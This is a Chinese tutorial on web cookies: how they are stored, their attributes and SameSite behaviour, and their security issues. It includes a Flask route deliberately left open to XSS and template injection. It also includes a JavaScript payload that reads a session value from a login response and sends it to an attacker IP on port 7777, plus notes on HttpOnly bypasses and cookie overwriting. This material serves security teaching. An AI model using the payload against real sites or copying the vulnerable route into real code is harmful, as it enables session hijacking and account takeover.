cookie概述
由于HTTP协议是无状态的,而服务器端的业务必须是要有状态的。Cookie诞生的最初目的是为了存储web中的状态信息,以方便服务器端使用。比如判断用户是否是第一次访问网站。
cookie的流程如下图所示。第一次访问后服务端铜鼓set-cookie报文头在客户端设置一个cookie字段。之后客户端每次访问cookie指定域名的地址都会在请求中加上cookie值。
cookie的储存
在学习cookie的功能和安全性质之前,首先要看下cookie在本地是以什么形式储存的,又储存了哪些内容。
通过flask来创建一个简单的页面,IP以及端口为http://192.168.0.109:5000/
,响应的内容中加入set_cookie的选项。
@app.route("/set_cookies")
def set_cookie():
resp = make_response(render_template_string("已经设置cookie值"))
resp.set_cookie("test", "port_5000_cookie")
return resp
然后访问页面并抓取响应的报文
可以看到此时通过响应的报文设置了cookie值,键值对test=port_5000_cookie
页面中也可以看到出现了刚刚设置的cookie值。
那么浏览器是如何储存刚刚这个cookie值的呢?这里可以通过两种途径查看本地储存的cookie内容
1.本地文件查看
地址:C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default
文件的储存格式为sqlite3,这里用SQLiteStudio打开可以看到每个cookie的域名,名称等信息。其中cookie值字段是已经过加密的。
2.在chrome中也可以直接查询各个域名储存的cookie
地址:chrome://settings/cookies/detail?site=域名
cookie的属性
每一个cookie都包含一些特定的属性。一般来说cookie的字段形如
[name] [value] [path] [domain] [expires] [secure] [httponly]
其中name和value是必须包含的字段,其他都可以自己选择是否设置。而cookie中的name和value支持urlencode来编码来确保不包括,
,;
和空格
。
属性 | 作用 |
---|---|
name | cookie的名称 |
value | 储存在cookie的字符串值 |
domain | cookie对于哪个域是有效的,向所有有效域发送的请求都会带上cookie |
expire | 失效时间,表示cookie多久会被浏览器删除。如果不设置则在页面关闭的时候删除。这个值为GMT时间格式,如果服务端和客户端时间不一致则会存在偏差 |
max-age | cookie的存活时间,与expire相似但是优先级高于expire。单位是秒而不是一个时间点 |
secure | 安全标志,指定后只有请求为HTTPS时才会发送cookie,http请求则不会发送 |
httponly | 告知浏览器不允许通过脚本document.cookie去操作cookie值 |
cookie的分类
cookie根据expire和max-age的设置又分为持久型cookie与会话型cookie。会话型cookie指的是不设定过期时间,当浏览器关闭时就会清除(当页面关闭时cookie不会清除)
而与之对应的持久型cookie则为设定了相应的过期时间,到了时间后才会被浏览器清除。
samesite
Chrome 51 开始,浏览器新增了一个属性samesite。属性对应的值有三个,分别是Strict,Lax,None
属性值 | 限制 |
---|---|
strict | 完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie |
lax | 大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外 |
None | 允许发送第三方cookie,但是必须设置secure属性 |
lax的发送情况
请求类型 | 示例 | Lax |
---|---|---|
链接 | <a href="..."></a> | Cookie |
预加载 | <link rel="prerender" href="..."/> | 发送 Cookie |
GET 表单 | <form method="GET" action="..."> | 发送 Cookie |
POST 表单 | <form method="POST" action="..."> | 不发送 |
iframe | <iframe src="..."></iframe> | 不发送 |
AJAX | $.get("...") | 不发送 |
Image | <img src="..."> | 不发送 |
samesite属性的设置极大程度上减少了CSRF攻击的危害。
cookie的安全问题
httponly
提到安全问题,首先想到的就是httponly属性,该属性禁止了js去直接操作cookie值,从而防止了cookie被窃取,接下来通过一个例子来看下httponly的作用。
首先写一个存在xss漏洞的页面
@app.route("/xss/<payload>")
def xss(payload):
content = "hello %s" % payload
return render_template_string(content)
接下来通过一个简单的payload可以获得当前页面的cookie值
然后设置cookie属性为httponly
@app.route("/set_cookies")
def set_cookie():
resp = make_response(render_template_string("已经设置cookie值"))
resp.set_cookie("test", "port_5000_cookie", httponly=True)
return resp
刚刚的页面通过同样的payload就无法获取cookie的值
绕过的思路:
1.利用业务中某些返回cookie的报文,比如一些登录接口,验证成功后会把类似session的内容放置在报文体中返回给客户端。这时候就可以利用xss向返回报文包含cookie值的接口发送请求,通过xhr.response获得响应报文的内容,从而间接获得cookie的内容。
# login接口会返回session值在报文中
@app.route("/login")
def login():
content = "验证成功 " + "session:[session_data]"
return content
# 发起ajax请求 获得报文内容 并向恶意服务器发送带有cookie信息的请求
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(){
if (xhr.readyState == 4 && xhr.status == 200){
alert("you are hacked" + xhr.response)
location.replace('//ip地址:7777/'+xhr.response)
}
}
xhr.open("GET","http://192.168.0.109:5000/login")
xhr.withCredentials = true
xhr.send(null)
最后攻击者服务器上就可以收到cookie信息
参考实例:
https://medium.com/@yassergersy/xss-to-session-hijack-6039e11e6a81
2.phpinfo会将浏览器发送的http头回显出来,其中就包括请求中cookie的内容。而这个页面经常存在在各种站点上,只要用ajax获得响应内容,取出cookie中的内容。
3.CVE-2012-0053
Apache服务器2.0-2.2版本存在个漏洞 CE-2012-0053:攻击者可通过向网站植人超大的Cookie,令其HTTP头超过Apache的LititRequestFieldSize (最大请求长度,4192字节),使得Apache返回400错误,状态页中包含了HttpOnly 保护的Cookie。
无session验证
这个漏洞比较简单,即服务端没有保存session对话内容,对用户身份认证完全依赖于cookie中的值,就会造成越权等问题。
如cookie中有UserId
字段,修改为他人的id就可以获得其他用户的信息。
cookie覆盖攻击
在secure属性设置为True时,攻击者无法通过自己控制的页面http://evil.com
来获取请求中的cookie,这时候可以考虑cookie覆盖攻击,这种攻击的前提条件是攻击者可以控制攻击页面子域页面的响应报文内容。
参考文章:
浅谈cookie安全
深入解析cookie技术